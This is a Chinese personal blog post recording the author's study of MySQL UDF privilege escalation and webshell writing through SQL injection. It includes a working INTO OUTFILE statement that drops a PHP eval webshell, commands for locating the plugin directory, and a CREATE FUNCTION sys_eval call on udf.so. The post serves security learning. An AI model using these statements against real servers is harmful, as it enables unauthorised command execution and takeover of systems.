Mysql UDF提权及写shell的一些知识点

好久没写博客了,刚好前两天被问到Mysql UDF提权,没答上来,现在学习并记录一下。

本篇文章参考:国光老师的博客

https://www.sqlsec.com/2020/11/mysql.html

一、利用sql注入写shell需要具备的条件:

1、知道网站的绝对路径

2、拥有高权限数据库用户

3、对目录有写权限

4、secure_file_priv 无限制

secure_file_priv可以用这个命令来看:

show global variables like '%secure_file_priv%';

这个value一般有如下几种情况:

NULL:不允许导入导出

空:不限制导入导出及目录

路径如/var/www/html/:只允许在这个路径下导入导出

关于版本问题:

在 MySQL 5.5 之前 secure_file_priv 默认是空

在 MySQL 5.5之后 secure_file_priv 默认是 NULL

导入语句:

select '<?php eval($_POST['shell']);?>' into outfile '/var/www/html/shell.php';

二、UDF提权

UDF即 user defined function,用户自定义函数。可以自定义来实现一些功能,添加了的函数都可以在sql语句中使用。

动态链接库:

当Mysql版本大于等于5.1,则这个链接库要放在 mysql 的 /lib/plugin 目录下。

关于sqlmap的动态链接库文件编码即解码等问题,详情可见国光大佬的文章:

https://www.sqlsec.com/2020/11/mysql.html#toc-heading-1

寻找插件目录:

常用的有以下几种语句:

show variables like '%plugin%';

select @@basedir;

写入动态链接库:

写入动态链接库可以分为下面几种情形:

1、SQL 注入且是高权限

2、plugin 目录可写且需要 secure_file_priv 无限制

3、MySQL 插件目录可以被 MySQL 用户写入

写入语句:

(再次感谢国光大佬的无私分享:

https://www.sqlsec.com/tools/udf.html

尝试写入:

没想到我堂堂root权限数据库用户居然不让写。

给了个写权限再试试

创建自定义函数并调用:

创建函数:

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';

来感受一下:

查看已有的函数:

select * from mysql.func;

Linux比较严格,可能会碰到许多的问题导致权限不够或者是别的。

Win下尝试:

查看路径:

查看sercure_file配置:

修改一波:

Win和Linux都不能直接在命令行修改,要去mysql.ini修改:

尝试写一波:

一开始无法写入,后面发现缺少lib/plugin目录,于是又手动创建了一个。

phpstudy的mysql据说是32位的,然而我是64位的,所以不确定写两个应该就行。

OK,来尝试创建并执行命令。

总结:

感觉win下的mysql udf提权比linux要好用很多,linux 那些限制条件都满足了,登录用户是root但命令查看还是mysql,需要进一步提权操作。

Win下登录用户是系统用户貌似直接出来就是管理员用户(没有对照实验,不可信,我猜的)。

限制很多,但是确实是非常有用的一个方法。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇